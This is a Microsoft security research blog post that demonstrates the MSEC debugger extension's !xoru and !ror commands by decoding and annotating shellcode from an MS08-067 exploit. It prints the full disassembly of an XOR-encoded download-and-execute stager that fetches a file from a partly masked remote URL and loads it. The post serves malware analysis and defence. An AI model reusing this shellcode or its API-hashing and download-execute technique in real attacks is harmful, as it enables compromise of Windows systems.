This is the Trace Id: f0134ad5987762f69e3c9f53c26eedb3
Skip to main content
MSRC

Shellcode Analysis via MSEC Debugger Extensions

In a previous post we provided some background on the !exploitable Crash Analyzer which was released earlier this year. One of the things that we didn’t mention is that !exploitable is just one of the debugger commands exported by the MSEC debugger extension. This extension also contains some additional commands that shellcode analysts may find useful. These commands can help with the process of decoding shellcode and resolving hashes to API names. In this post we will show how these commands can be used to help analyze shellcode from an exploit of MS08-067. In this example, the analysis begins prior to the exploit gaining control.

Decoding Utilities

Below is the beginning of the call-to-self GetPC in the shellcode:

0:016> u 010cf4fa 010cf4fa e8ffffffff call 010cf4fe ; call to self 010cf4ff c25f8d ret 8D5Fh 010cf502 4f dec edi 0:016> u 010cf4fe 010cf4fe ffc2 inc edx 010cf500 5f pop edi ; edi = 010cf4ff 

Then an XOR decoder is used:

010cf501 8d4f10 lea ecx,[edi+10h] ; ecx = 010cf50f 010cf504 8031c4 xor byte ptr [ecx],0C4h 010cf507 41 inc ecx 010cf508 6681394d53 cmp word ptr [ecx],534Dh 010cf50d 75f5 jne 010cf504 010cf50f 38aec69da04f cmp byte ptr [esi+4FA09DC6h],ch ; encoded, disassembles to garbage 010cf515 85ea test edx,ebp 010cf517 4f dec edi 010cf518 84c8 test al,cl 010cf51a 4f dec edi 010cf51b 84d8 test al,bl 010cf51d 4f dec edi 010cf51e c44f9c les ecx,fword ptr [edi-64h] 010cf521 cc int 3 010cf522 49 dec ecx 010cf523 7365 jae 010cf58a 010cf525 c4 ??? 010cf526 c4 ??? 

In order to decode the payload and further analyze the shellcode we could save the bytes in an external file, load the file in an application such as IDA Pro, and then run a decoder script over the bytes. This is a fairly tedious process. The MSEC debugger extension provides an alternative solution in the form of built-in decoding utilities that can help to expedite this task. One of these commands is xoru:

0:016> !msec.xoru  Usage : !xoru [-b] address [len] key  Example: !xoru eax 64 DD  Example: !xoru -b eax 64 DD (Leave the transformed buffer in memory)  Example: !xoru 0x00123456 DD (using default length = 256) 
0:016> !msec.xoru 010cf50f c4 0x010cf50f FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@.... 0x010cf520 58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P... 0x010cf531 FC 56 FF 17 93 83 C6 07 E8 18 00 00 00 33 D2 52 52 .V...........3.RR 0x010cf542 8B CC 66 C7 01 78 2E 51 FF 77 04 52 52 51 56 52 FF ..f..x.Q.w.RRQVR. 0x010cf553 37 FF E0 AD 51 56 95 8B 4B 3C 8B 4C 0B 78 03 CB 33 7...QV..K<.L.x..3 0x010cf564 F6 8D 14 B3 03 51 20 8B 12 03 D3 0F 00 C0 0F BF C0 .....Q .......... 0x010cf575 C1 C0 07 32 02 42 80 3A 00 75 F5 3B C5 74 06 46 3B ...2.B.:.u.;.t.F; 0x010cf586 71 18 72 DB 8B 51 24 03 D3 0F B7 14 72 8B 41 1C 03 q.r..Q$.....r.A.. 0x010cf597 C3 8B 04 90 03 C3 5E 59 C3 60 A2 8A 76 26 80 AC C8 ......^Y.`..v&... 0x010cf5a8 75 72 6C 6D 6F 6E 00 99 23 5D D9 68 74 74 70 3A 2F urlmon..#].http:/ 0x010cf5b9 2F xx xx 2E 32 33 2E xx xx xx 2E xx xx xx 3A 33 38 /xx.23.xxx.xxx:38 0x010cf5ca 31 38 2F 6D 79 6B 75 00 89 97 8C B5 A8 A8 B4 97 82 18/myku.......... 0x010cf5db 92 A6 93 94 AF BE 87 A1 AD 8F A8 89 8D B6 8D AD 9D ................. 0x010cf5ec 97 B4 8D 94 89 B2 BD BD B6 B4 BE AC A9 91 8C 80 91 ................. 0x010cf5fd 95 AA A6 96 89 93 87 8E 93 AD 9E 97 9D 8B A8 B1 A8 ................. 0x010cf60e B2 010cf50f fc cld 010cf510 6a02 push 2 010cf512 59 pop ecx 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] 010cf522 8db7a1000000 lea esi,[edi+0A1h] 010cf528 e829000000 call 010cf556 010cf52d 50 push eax 010cf52e e2f8 loop 010cf528 010cf530 8bfc mov edi,esp 010cf532 56 push esi 010cf533 ff17 call dword ptr [edi] 010cf535 93 xchg eax,ebx 010cf536 83c607 add esi,7 010cf539 e818000000 call 010cf556 ... 

It’s worth noting that this shellcode utilizes a stop marker instead of a counter for the XOR loop, hence we used the default decoding length (256) since the shellcode size is less than that. Continuing on to the decoded payload, we can see that the exploit starts with finding the base address of kernel32.dll:

010cf510 6a02 push 2 010cf512 59 pop ecx 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base address 

For detailed explanation about the code, see [1].

API Name Hash Resolver Utilities

After the base address of kernel32.dll has been found, the shellcode then invokes an API hash name resolver:

010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. 010cf528 e829000000 call 010cf556 ; Call API name hash resolver 

The resolver returns the address of the target function whose hash value is pointed to by ESI and whose module address is in EBX. Since the value in the ESI register is statically known, we can find the pre-computed hash value which the shellcode attempts to match:

0:016> dd 010cf5a0 L1 010cf5a0 b24e66a4 

However, due to the default behavior of xoru, this value is not correct because the decoded bytes do not exist in memory. In this case, we can use the “-b” switch which causes xoru to leave the transformed buffer in memory:

0:016> !msec.xoru -b 010cf50f c4 0:016> dd 010cf5a0 L1 010cf5a0 768aa260 

Now we can find out the actual API name via !msec.ror:

0:016> !msec.ror Usage: !ror [-n <rotation count="">] [-c <value>] [-x] Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.  !ror 0x0E8AFE98</value></rotation> 

The purpose of this command is to determine the function that corresponds to a given ror hash. A ror hash is often used by shellcode that runs on Windows as a means of locating exported symbols such as LoadLibraryA, WinExec, and so on. It’s worth noting that this particular shellcode uses ROL instead of ROR and the current version of the MSEC debugger extension does not support ROL. However, since ROL(n) = ROR(32-n), ROR(25) has the same effect as ROL(7):

010cf575 c1c007 rol eax,7 010cf578 3202 xor al,byte ptr [edx]  0:016> !msec.ror -x -n 25 768aa260 ExitThread (kernel32.dll) 

It should also be noted that the shellcode XOR’s the next character to the hash accumulator instead of ADD, hence the “-x” switch. In this way, we can find the rest of the API calls the shellcode makes:

0:016> !msec.ror -x -n 25 c8ac8026 LoadLibraryA (kernel32.dll) 
0:016> !msec.ror -x -n 25 d95d2399 URLDownloadToFileA (urlmon.dll) 

With this knowledge, we’re in a better position to be able to quickly finish analyzing the shellcode:

010cf50f fc cld 010cf510 6a02 push 2 010cf512 59 pop ecx ; ecx = 2 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base 010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. esi points to  ; the hash value to resolve 010cf528 e829000000 call 010cf556 ; Call API hash solver. esi += 4. 010cf52d 50 push eax ; Push the resolved function  ; pointer (kernel32!ExitThread)  ; onto the stack 010cf52e e2f8 loop 010cf528 ; Since ecx = 2, resolve  ; (kernel32!LoadLibraryA) and push  ; it onto the stack 010cf530 8bfc mov edi,esp ; edi = LoadLibrary 010cf532 56 push esi ; esi = 010cf5a8 = "urlmon" 010cf533 ff17 call dword ptr [edi] ; Call LoadLirary("urlmon") 010cf535 93 xchg eax,ebx ; ebx = module handle to  ; urlmon.dll (base address) 010cf536 83c607 add esi,7 ; esi = 010cf5af 010cf539 e818000000 call 010cf556 ; Call API hash solver. esi += 4. 010cf53e 33d2 xor edx,edx ; eax = urlmon!URLDownloadToFileA 010cf540 52 push edx ; An argument to ExitThread 010cf541 52 push edx ; NULL terminate string 010cf542 8bcc mov ecx,esp 010cf544 66c701782e mov word ptr [ecx],2E78h ; ecx = pointer to .x 010cf549 51 push ecx ; After URLDownloadToFileA,  ; LoadLibrary takes this string as  ; an argument. 010cf54a ff7704 push dword ptr [edi+4] ; Func ptr kernel32!ExitThread.  ; After URLDownloadToFileA,  ; LoadLibrary(.x) returns  ; to ExitThread here. 010cf54d 52 push edx ; lpfnCB = NULL 010cf54e 52 push edx ; dwReserved = 0 010cf54f 51 push ecx ; szFileName = .x 010cf550 56 push esi ; szURL 010cf551 52 push edx ; pCaller = NULL 010cf552 ff37 push dword ptr [edi] ; Func ptr LoadLibrary.  ; URLDownloadToFileA returns to  ; LoadLibrary here. 010cf554 ffe0 jmp eax ; Jump to URLDownloadToFileA 

Conclusion

We have shown how the MSEC debugger extension can help expedite the analysis of shellcode by providing some helper functionality. We hope that these tools will help increase the efficiency and effectiveness of shellcode analysts.

- Jinwook Shin, MSEC Security Science

*Postings are provided “AS IS” with no warranties, and confers no rights.*

References

[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf